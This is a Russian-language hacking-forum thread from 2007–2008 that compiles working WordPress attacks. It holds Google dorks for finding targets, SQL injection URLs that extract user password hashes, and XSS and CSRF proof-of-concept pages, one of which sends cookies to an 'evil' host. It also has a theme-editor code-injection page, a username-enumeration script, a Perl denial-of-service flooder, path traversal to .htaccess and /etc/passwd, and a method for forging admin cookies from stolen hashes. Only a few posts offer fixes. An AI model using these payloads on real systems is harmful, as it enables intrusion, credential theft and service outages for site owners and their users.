PDA

Просмотр полной версии : [ Обзор уязвимостей WordPress ]


Страницы : [1] 2

ettee
05.10.2007, 19:34
Vulnerabilities:

Wordpress Multiple Versions Pwnpress Exploitation Tookit (0.2pub) (http://milw0rm.com/exploits/4397)

Wordpress plugin myflash <= 1.00 (wppath) RFI Vulnerability (http://milw0rm.com/exploits/3828)

Enigma 2 WordPress Bridge (boarddir) Remote File Include Vulnerability (http://milw0rm.com/exploits/3051)

1.4*
Wordpress plugin wordTube <= 1.43 (wpPATH) RFI Vulnerability (http://milw0rm.com/exploits/3825)

Wordpress plugin wp-Table <= 1.43 (inc_dir) RFI Vulnerability (http://milw0rm.com/exploits/3824)

Wordpress Plugin myGallery <= 1.4b4 Remote File Inclusion Vulnerability (http://milw0rm.com/exploits/3814)


1.5.1.*
Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit) (http://milw0rm.com/exploits/1145)

Wordpress <= 1.5.1.3 Remote Code Execution 0-Day Exploit (http://milw0rm.com/exploits/1142)

Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit (http://milw0rm.com/exploits/1077)

WordPress <= 1.5.1.1 SQL Injection Exploit (http://milw0rm.com/exploits/1033)

WordPress <= 1.5.1.1 "add new admin" SQL Injection Exploit (http://milw0rm.com/exploits/1059)

2.0.*
WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit (http://milw0rm.com/exploits/6)

Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Exploit (http://milw0rm.com/exploits/3109)

Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit (http://milw0rm.com/exploits/3095)

2.1.*
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit (http://milw0rm.com/exploits/3656)

Wordpress 2.1.3 admin-ajax.php SQL Injection Blind Fishing Exploit (http://milw0rm.com/exploits/3960)

2.*
Wordpress <= 2.x dictionnary & Bruteforce attack (http://www.securityfocus.com/archive/1/455927)

WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit (http://milw0rm.com/exploits/4113)

Wordpress 2.2 (xmlrpc.php) Remote SQL Injection Exploit (http://milw0rm.com/exploits/4039)


dork:
"is proudly powered by WordPress"
intext:"Warning: main" inurl:Wp ext:php
inurl:wp-login.php Register Username Password -echo -trac
inurl:"wp-admin" config -cvs -phpxref
inurl:/comments/feed/rss2/ intext:wordpress.org?v=*
Powered by Wordpress 1.2
intext:"proudly powered by WordPress" filetype:php
intext:"powered by WordPress" filetype:php -dritte-seite
intitle:"WordPress > * > Login form" inurl:"wp-login.php"
ext:php inurl:"wp-login.php" -cvs

Full path disclosure:

WordPress < 1.5.2 (http://www.securityfocus.com/archive/1/419999)

Cross-site Scripting:
/wp-login.php?action=login&redirect_to=[XSS]
/wp-admin/templates.php?file=[XSS]
/wp-admin/post.php?content=[XSS]
http://www.example.com/wp-admin/edit-comments.php?s=[XSS]
http://www.example.com/wp-admin/edit-comments.php?s=bla&submit=Search&mode=[XSS]
http://www.example.com/wp-admin/templates.php?file=[XSS]
http://www.example.com/wp-admin/link-add.php?linkurl=[XSS]
http://www.example.com/wp-admin/link-add.php?name=[XSS]
http://www.example.com/wp-admin/link-categories.php?cat_id=[XSS]&action=Edit
http://www.example.com/wp-admin/link-manager.php?order_by=[XSS]
http://www.example.com/wp-admin/link-manager.php?cat_id=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_url=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_name=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_description=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_rel=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_image=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_rss_uri=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_notes=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_id=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&order_by=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&cat_id=[XSS]
http://www.example.com/wp-admin/post.php?content=[XSS]
http://www.example.com/wp-admin/moderation.php?action=update&item_approved=[XSS]

SQL injection examples:
http://www.example.com/index.php?m=[SQL]
http://www.example.com/wp-admin/edit.php?m=[SQL]
http://www.example.com/wp-admin/link-categories.php?cat_id=[SQL]&action=Edit
http://www.example.com/index.php?cat=100)%09or%090=0%09or%09(0=1

Tables/Prefix_/Columns:
wp_

Hash algorithms:
md5(password)

WordPress Vulnerability Scanner

$ perl -x wp-scanner.pl http://testblog/wordpress/

WordPress Scanner starting: David Kierznowski (http://michaeldaw.org)

Using plugins dir: wp-content/plugins

Initial WordPress Enumeration
Finding WordPress Major Version
Testing WordPress Template for XSS

WordPress Basic Results

wp-commentsrss2.php => Version Leak: WordPress 2.1.3
wp-links-opml.php => Version Leak: WordPress 2.1.3
wp-major-ver => Version 2.1
wp-rdf.php => Version Leak: WordPress 2.1.3
wp-rss.php => Version Leak: WordPress 2.1.3
wp-rss2.php => Version Leak: WordPress 2.1.3
wp-server => Apache/1.3.34 (Unix) PHP/4.4.4 mod_ssl/2.8.25 OpenSSL/0.9.8a
wp-style-dir => http://testblog/wordpress/wp-content/themes/time1-theme-10/style.css
wp-title => Test Blog
wp-version => WordPress 2.1.3
x-Pingback => http://testblog/wordpress/xmlrpc.php

WordPress Plugins Found

wp-plugins[0] => Akismet

Download (http://michaeldaw.org/projects/wp-scanner.tar.gz)

+toxa+
05.10.2007, 19:39
http://blogsecurity.net/cgi-bin/wp-scanner.cgi
http://blogsecurity.net/projects/wp-scanner.zip

+toxa+
05.10.2007, 19:48
simple PoC:
<html>
<head></head>
<body>

<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
cookie theft PoC:

<html>
<head></head>
<body>

<form method="post"
action="http://target/wordpress/wp-register.php#location='http://evil/?'+document.cookie"
>
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="anyusername" />
<input type="hidden" name="user_email" id="user_email"
value='"><script>eval(location.hash.substr(1))</script>' />

</form>
<script>document.forms[0].submit()</script>
</body>
</html>
unrestricted script insertion from third-party site

(we prove we can
inject ANY JS):

<html>
<head></head>
<body>

<form method="post" action="http://victim/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="test" />
<input type="hidden" name="user_email" id="user_email"
value='"><SCRIPT src=http://evil/jsfile></SCRIPT>'>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

Solide Snake
05.10.2007, 19:51
07 июня, 2007
Программа: WordPress 2.2, возможно более ранние версии

Опасность: Средняя

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в методе "wp.suggestCategories" в сценарии xmlrpc.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Для выполнения этого нужно что была разрешена регистрация на сайте, отправляется запрос только POST
Вот пример запроса
<methodCall>
<methodName>wp.suggestCategories</methodName>
<params>
<param><value>1</value></param>
<param><value>Здесь логин</value></param>
<param><value>Сдесь пароль</value></param>
<param><value>1</value></param>
<param><value>0 UNION SELECT USER()</value></param>
</params>
</methodCall>

+toxa+
05.10.2007, 19:54
#!/bin/bash

# this script attacks a low-risk username enumeration vul
# on Wordpress 2.2 login page. Previous versions are
# possibly affected as well
#
# Note: you need curl [http://curl.haxx.se/download.html]
# installed on your system for this script to work.
#
# Adrian Pastor - http://www.gnucitizen.org/

if [ $# -ne 2 ]
then
echo "need to parameters! correct syntax is:"
echo "$0 <ip-or-hostname> <wordlist-filename>"
exit 1
fi


for U in `cat $2`
do
#echo $U

if curl -s -d
"log=$U&pwd=mypassword&wp-submit=Login+%C2%BB&redirect_to=" --url
"http://$1/wordpress/wp-login.php" | grep -i 'Incorrect password' >
/dev/null
then
echo "username found!: $U" # print username found on screen
echo $U >> $0.found # save results to file equals to
script name plus .found extension
fi
done

+toxa+
05.10.2007, 20:20
* Table of Contents
* Introduction
* Installing WordPress
o Accessing your WordPress tables
o Changing your WordPress Table Prefix
o Before Installation
o Manually Change
o Through WP Prefix Table Changer
* Preparing the Blog
o Changing your Admin Username
o Create a new limited access user
* Hardening your WP Install
o Restricting wp-content & wp-includes
o Restricting wp-admin
o Block all except your IP
o Password Required - .htpasswd
o The .htaccess file
o The .htpasswd file
* MUSTHAVE Plugins
o WPIDS - Detect Intrusions
o WordPress Plugin Tracker – Are you updated?
o WordPress Online Security Scanner

http://blogsecurity.net/projects/secure-wp-whitepaper.pdf

&&

Writing Secure WordPress Plugins
http://michaeldaw.org/papers/securing_wp_plugins/

ettee
05.10.2007, 20:26
WordPress PHP_Self Cross-Site Scripting Vulnerability
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Wordpress XSS PoC</title>
</head>
<body id="main">

<form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
<p>
<textarea name="newcontent" rows="8" cols="40">&lt;?php echo "Owned! " . date('F d, Y'); ?&gt;</textarea>
</p>
<p>
<input type="hidden" name="action" value="update" />
<input type="hidden" name="file" value="wp-content/themes/default/index.php" />
</p>
</form>
<script type="text/javascript">
// <![CDATA[
document.forms[0].submit();
// ]]>
</script>
</body>
</html>


Vulnerable URI:
/wp-admin/plugins.php?page=akismet-key-config
Vulnerable Post variable:
_wp_http_referer="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100 ,111,99,117,109,101,110,116,46,99,111,111,107,105, 101,41))</script>"
by 0x000000

Fugitif
05.10.2007, 20:28
http://img294.imageshack.us/img294/4733/pspo8.jpg


http://www.blogeek.net/2007/09/26/wordpress-plugin-scanner/

Solide Snake
06.10.2007, 08:53
Перебор паролей для версии Wordpress 2.x на Python тут (http://www.regruppa.ru/content/blog/2007/06/float.py).

ettee
06.10.2007, 16:38
runPHP Plugin
/wp-admin/post.php?action=edit&post=1/*SQLINJECTION*/%20AND%201′=0


WP <2.3
http://target/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(1)</script>


WordPress 2.0.1 Remote DoS Exploit

#!perl
#Greets to all omega-team members + h4cky0u[h4cky0u.org], lessMX6 and all dudes from #DevilDev ;)
#The exploit was tested on 10 machines but not all got flooded.Only 6/10 got crashed
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg; #no http://
for ($i=0; $i<99999999999999999999999999999999999999999999999999 99999999999999999999; $i++) #0_o :)
{
$user="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x 6d\x6e\x66\x6f\x6f".$rand.$i; #you N33d t0 be l33t t0 s33 th!S !
$data = "action=register&user_login=$user&user_email=$user\@matrix.org&submit=Register+%C2%BB";
$len = length $data;
$foo = "POST ".$dir."wp-register.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+";
}
#s33 if the server is down
print "\n\n";
system('ping $host');
sub usage {
print "\n\t(W)ordpress 2.0.1 (R)emote (D)oS (E)xploit (B)y matrix_killer\n";
print "\te-mail: matrix_k\@abv.bg\n";
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /wordpress/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n";
exit();
};

The_HuliGun
21.10.2007, 16:45
Раскрытие Пути

http://[target]/[path]/wp-content/plugins/akismet/akismet.php

Solide Snake
28.10.2007, 03:32
Simple Forum (for WordPress) sql-inject exploit (public version) (http://securityvulns.com/files/sfex.pl)

Fugitif
01.11.2007, 19:21
WordPress Plugin BackUpWordPress <= 0.4.2b RFI Vulnerability

#Author: S.W.A.T.


#cont@ct: svvateam@yahoo.com

--------------------------------------------------------------------------------


------------------------- -------------------------------------------------------

Application : BackUpWordPress 0.4.2b

Download : http://wordpress.designpraxis.at/download/backupwordpress.zip

--------------------------------------------------------------------------------
Vuln :

require_once $GLOBALS['bkpwp_plugin_path']."PEAR.php";

--------------------------------------------------------------------------------

Exploit:

http://[target]/_path]/plugins/BackUp/Archive.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=Shl3?

& other Files & Folders In The [Archive] Folder

--------------------------------------------------------------------------------

Dork:

"inurl:/plugins/BackUp"



Mirror:

http://www.milw0rm.com/exploits/4593

Fugitif
05.12.2007, 21:23
Sql Injection in wordpress 2.3.1


Author : Beenu Arora

Mail : beenudel1986 (at) gmail (dot) com [email concealed]

Application : WordPress (2.3.1)

Homepage: http://wordpress.org/

~~~~~~~~~~~~~~~~~~SQL Injection ~~~~~~~~~~~~

Vulnerable URL : http://localhost/path_to_wordpress/?feed=rss2&p=

Parameter : P

POC = http://localhost/path_to_wordpress/?feed=rss2&p=11/**/union/**/select/**
/concat(user_password,char(100),username),2/**/from/**/wp_users/**/where
/**/user_id=1/*


http://www.securityfocus.com/archive/1/484608

Solide Snake
11.12.2007, 20:29
Wordpress toolkit exploit (http://www.securitylab.ru/poc/302688.php)

Fugitif
11.12.2007, 21:47
WordPress Charset SQL Injection Vulnerability

Недостаточная фильтрация при GBK-кодировке базы приводит к SQL-injection.
( Статья описания уязвимости на Античате: https://forum.antichat.ru/thread62109.html )


Exploit:
http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23

_http://ilia.ws/archives/103-mysql_real_escape_string-
versus-Prepared-Statements.html

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=== WordPress Charset SQL Injection Vulnerability ===

Release date: 2007-12-10
Last modified: 2007-12-10
Source: Abel Cheung
Affected version: WordPress escape($gpc);
}


Finally, escape() method belongs to wp-includes/wp-db.php:

function escape($string) {
return addslashes( $string ); // Disable rest for now, causing problems
......
}


3. Proof of concept

a. After WordPress installation, modify wp-config.php to make sure
it uses certain character set for database connection (Big5 can
also be used):
define('DB_CHARSET', 'GBK');

b. http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23


4. Workaround

Note: This vulnerability only exists for database queries performed
using certain character sets. For databases created in most other
character sets no remedy is needed.

a. It is recommended to convert WordPress database to use character sets not
vulnerable to such SQL exploit. One such charset is UTF-8, which does not
use backslash ('\') as part of character and it supports various languages.
b. Alternatively, edit WordPress theme to remove search capability.


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: http://firegpg.tuxfamily.org

iD8DBQFHXVXGQVLh8cZxhv8RAgjgAKDwvrrO6hJbnV0/VFah5W+i8grYcwCgzyCT
5RKJG+zo/mktmRU3v1IfmXE=
=2okr
-----END PGP SIGNATURE-----

Fugitif
16.12.2007, 01:49
Получение админских привелегий в обход пароля.

Как юзать: _http://forum.antichat.ru/showpost.php?p=729009&postcount=63

By Michael Brooks

Vulnerability:Broken Access Control

Homepage:http://wordpress.org/download

Software: Wordpress

Version affected:2.3.1 (Latest at the time of writing)



The impact of the flaw is that an attacker can read posts while they are still drafts. This is an ability that only the administrator should have. Imagine a stranger being able to read the news before it is published. Or perhaps a spam-blog harvesting posts before they are published.



This flaw is because Wordpress is trusting the $_SERVER['REQUEST_URI'] global variable. Manipulation of $_SERVER['REQUEST_URI']has led to many xss flaws. Although an attacher shouldn't be able to control all $_SERVER variables, none of them should be trusted.



exploit:

htttp://localhost/wordpress/'wp-admin/


This will cause both $_SERVER['REQUEST_URI'] and $_SERVER['PHP_SELF'] to contain the value:
htttp://localhost/wordpress/'wp-admin/


Vulnerable function:

line 34, in ./wp-includes/query.php.

function is_admin () {

global $wp_query;



return ($wp_query->is_admin || (stripos($_SERVER['REQUEST_URI'], 'wp-admin/') !== false));

}

The same flaw is duplicted in again on line 645 of the same file.



This url: htttp://localhost/wordpress/'wp-admin/
will cause the is_admin() function to return true. This flaw works regardless of register_globas or magic_quotes_gpc. The attack fails when search engine friendly urls are turned on in wordpress, however this option is turned off by default. Turning search engine friendly urls on is a workaround until a patch is created.

+toxa+
25.12.2007, 21:45
Wordpress Plugin PictPress <= release0.91 Remote File Disclosure Vulnerability
D.Script : http://downloads.wordpress.org/plugin/pictpress.release-0.91.zip
Vuln Code :
In Line 5,6,7,8 :
$path = $_GET['path'];
$size = $_GET['size'];
$base = dirname(__FILE__) . "/..";
$cache = "$base/cache/$size/$path";
In Line 22 :
readfile($cache);
POC :
/wp-content/plugins/pictpress/resize.php?size=../../../../../../../../../../&path=/etc/passwd%00

# milw0rm.com [2007-12-05]

+toxa+
25.12.2007, 21:52
For attacking admin only (at options page):

1
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_email" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

2
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_subject" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

3
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_question" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

4
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_answer" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>


=====
For attacking every user of the site (at contact page):

5
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_question" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>


<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<body>
<iframe src="http://site/contact/" width="0" height="0"></iframe>
</form>
</body>
</html>


======
For attacking every user of the site at contact page (and admin at options page):

6
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_success_msg" value="</textarea><script>alert(document.cookie)</script>" />
</form>
</body>
</html>

7
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_error_msg" value="</textarea><script>alert(document.cookie)</script>" />
</form>
</body>
</html>


======
For attacking every user of the site (at contact page):

8
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_answer" value="4" />
<input type="hidden" name="wpcf_success_msg" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/contact/" method="post">
<input type="hidden" name="wpcf_stage" value="process" />
<input type="hidden" name="wpcf_your_name" value="test" />
<input type="hidden" name="wpcf_email" value="test@test.test" />
<input type="hidden" name="wpcf_response" value="4" />
<input type="hidden" name="wpcf_msg" value="XSS" />
</form>
</form>
</body>
</html>

9
<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_error_msg" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>


<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/contact/" method="post">
<input type="hidden" name="wpcf_stage" value="process" />
<input type="hidden" name="wpcf_msg" value="XSS" />
</form>
</form>
</body>
</html>

+toxa+
03.01.2008, 16:43
function validate_file(..)
if (false !== strpos($file, ‘./’))

Proof of concept:
http://site/wp-admin/index.php?page=\..\..\.htaccess

Solide Snake
07.01.2008, 11:35
Wordpress Plugin Wp-FileManager 1.2 Remote Upload Vulnerability

Файловый менеджер находится тут:

http://[TARGEt]/[path_wordpress]/wp-content/plugins/wp-filemanager/ajaxfilemanager/ajaxfilemanager.php

После загрузки скрипт вы найдете в этом каталоге:

http://[TARGEt]/[path_wordpress]/uploaded/[evil].(php)

Запрос для поиска:

plugins/wp-filemanager/
inurl:/wp-filemanager/

ettee
08.01.2008, 00:29
/wp-admin/index.php?page=\..\..\file.php
/wp-admin/index.php?page=\..\..\.htaccess
/wp-admin/link-manager.php?page=\..\..\.htaccess
/wp-admin/link-add.php?page=\..\..\.htaccess
/wp-admin/link-categories.php?page=\..\..\.htaccess
/wp-admin/link-import.php?page=\..\..\.htaccess
/wp-admin/theme-editor.php?page=\..\..\.htaccess
/wp-admin/plugin-editor.php?page=\..\..\.htaccess
/wp-admin/profile.php?page=\..\..\.htaccess
/wp-admin/users.php?page=\..\..\.htaccess
/wp-admin/options-general.php?page=\..\..\.htaccess
/wp-admin/options-writing.php?page=\..\..\.htaccess
/wp-admin/options-reading.php?page=\..\..\.htaccess
/wp-admin/options-discussion.php?page=\..\..\.htaccess
/wp-admin/options-permalink.php?page=\..\..\.htaccess
/wp-admin/options-misc.php?page=\..\..\.htaccess
/wp-admin/import.php?page=\..\..\.htaccess
/wp-admin/admin.php?page=\..\..\.htaccess
/wp-admin/bookmarklet.php?page=\..\..\.htaccess
/wp-admin/cat-js.php?page=\..\..\.htaccess
/wp-admin/inline-uploading.php?page=\..\..\.htaccess
/wp-admin/options.php?page=\..\..\.htaccess
/wp-admin/profile-update.php?page=\..\..\.htaccess
/wp-admin/sidebar.php?page=\..\..\.htaccess
/wp-admin/user-edit.php?page=\..\..\.htaccess
win only

halkfild
14.01.2008, 02:24
Вход по md5() хешу пароля в куках

Программа: WordPress 2.3.1 и более ранние версии
Опасность: Низкая
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет удаленному пользователю обойти некоторые ограничения безопасности.

Уязвимость существует из-за того, что злоумышленник может создать два аутентификационных файла куки ("wordpressuser_*" и "wordpresspass_*") из данных в таблице "users" и получить административный доступ к приложения. Для успешной эксплуатации уязвимости злоумышленнику требуется получить доступ на чтение таблицы "users" в базе данных.

описание и сайт
http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt

==================================


$siteurl;$host;
'wordpressuser_'.md5($siteurl).'='.$login
'wordpresspass_'.md5($siteurl).'='.md5(md5($pass))

Здесь $siteurl - переменная которая лежит в БД:
wp_options
-siteurl
Тоесть при SQL-инъекции желательно вытащить и ее тоже: (select siteurl from wp_options)

Иногда один вордпресс используется для разных доменных имен.
Тогда вместо $siteurl берется $host, фактически равное URL-пути до блога, например:
http://wordpress.com/blog
без слеша на конце.



NEW! Дополнение.

Раскрытие COOKIEHASH.

Необязательно вообще добывать siteurl, кодировать его в мд5 и проверять.

Достаточно послать пост-пакет на wp-pass.php или на wp-login.php
В ответе вам вернется валидный COOKIEHASH кукиса.

[-1-] /wp-login.php?action=logout

[-2-] wp-pass.php

POST /wordpress/wp-pass.php HTTP/1.0
Host: localhost
Content-Length: 20

post_password=test

ettee
16.01.2008, 01:04
Files locations
blogscout
lectblog
blogs
blog
blog-*
blog*
myblog
bloggt
blo
*-blog
wp
wordpress
wordpress.1
wordpress-1
wordpress_1
wordpress-*
wordpress_*
weblog
webblog
webblogs
web-blog
my-journals
myjournal
my-favorite-blog
myblog
myblogs
my-blogs
wp1-5
wp2.2
wp2-2
wp2.3
wp2-3
wp2.2
wp2.0
powered-by-wordpress
wordpress-mu
wordpress_1_5
wordpress-1.5
wordpress-1-5-1
wordpress-1.5.2
wordpress-1.0.2
wordpress-1-2-2
wordpress_2.0_only
wordpress_2.3-series
wordpress_2.3.2
wordpress_2-3-1
Wordpress_2.4
Wordpress_2.5
Wordpress_2-5
wordpress_2.3.1
wordpress_2.0.2
wordpress_2.3
wordpress_2.0.7
Wordpress_2.4
wordpress_2.2.3
wordpress_2.1.2
WordPress_2.4
wordpress_2.3.1
WordPress_2-3
WordPress_2-2-2
WordPress_2-3-3
wordpress_2-3
Wordpress_2-2

+toxa+
17.01.2008, 17:23
http://wordpress.dom/blah’style=xss:expression(alert(document.cookie) ); (Tested on IE7)
OR
http://wordpress.dom/blah’onMouseOver=javascript:alert(document.cooki e);// (Testing on Firebox & IE)

fix
Vulnerable code: in class.php (Line 166)
$url = htmlspecialchars(add_query_arg(array(’dem_action ’ => ‘view’, ‘dem_poll_id’ => $this->id)));

Change to:
$url = htmlspecialchars(add_query_arg(array(’dem_action ’ => ‘view’, ‘dem_poll_id’ => $this->id)), ENT_QUOTES);

+toxa+
17.01.2008, 17:24
http://wordpress-blog/?textlinkads_action=sync_posts&textlinkads_post_id=’/**/U/**/S/**/1,user_login,user_pass,display_name/**/from/**/wp_users%23
fix

The vulnerable code is found on line 512:
$postId = $postId;
This variable is passed to $wpdb->get_results without being sanitised.
to fix this hole, simply change the above line to:
$postId = (int) $postId;

iddqd
19.01.2008, 03:20
WordPress<=2.0.3 Arbitrary file deletion

Только на Windows:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=\..\..
\.htaccess

Это также может быть использовано для проведения DoS-атаки. При удалении index.php сайт перестанет нормально функционировать.

WordPress<=2.0.3 DoS:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=../../index.php

Только на Windows:
http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=\..\..
\index.php

XSS:

http://site/wp-admin/edit.php?page=wp-db-backup.
php&backup=%3Cscript%3Ealert(document.
cookie)%3C/script%3E


XSS: wp-cat2tag converter:
http://localhost/wp/wp-admin/admin.php?import=wp-cat2tag&--><script>alert(/XSS/)</script>

Уязвимы версии WordPress <= 2.0.11 и потенциально последующие версии (2.1.x, 2.2.x и 2.3.x).

Solide Snake
20.01.2008, 14:38
Wordpress plugin WP-Forum 1.7.4 Remote SQL Injection Vulnerability

remote sql injection exploit
################################################## #############


# >>> -::DESCRIPTION== >> WordPress forum plugin by Fredrik Fahlstad. Version: 1.7.4.

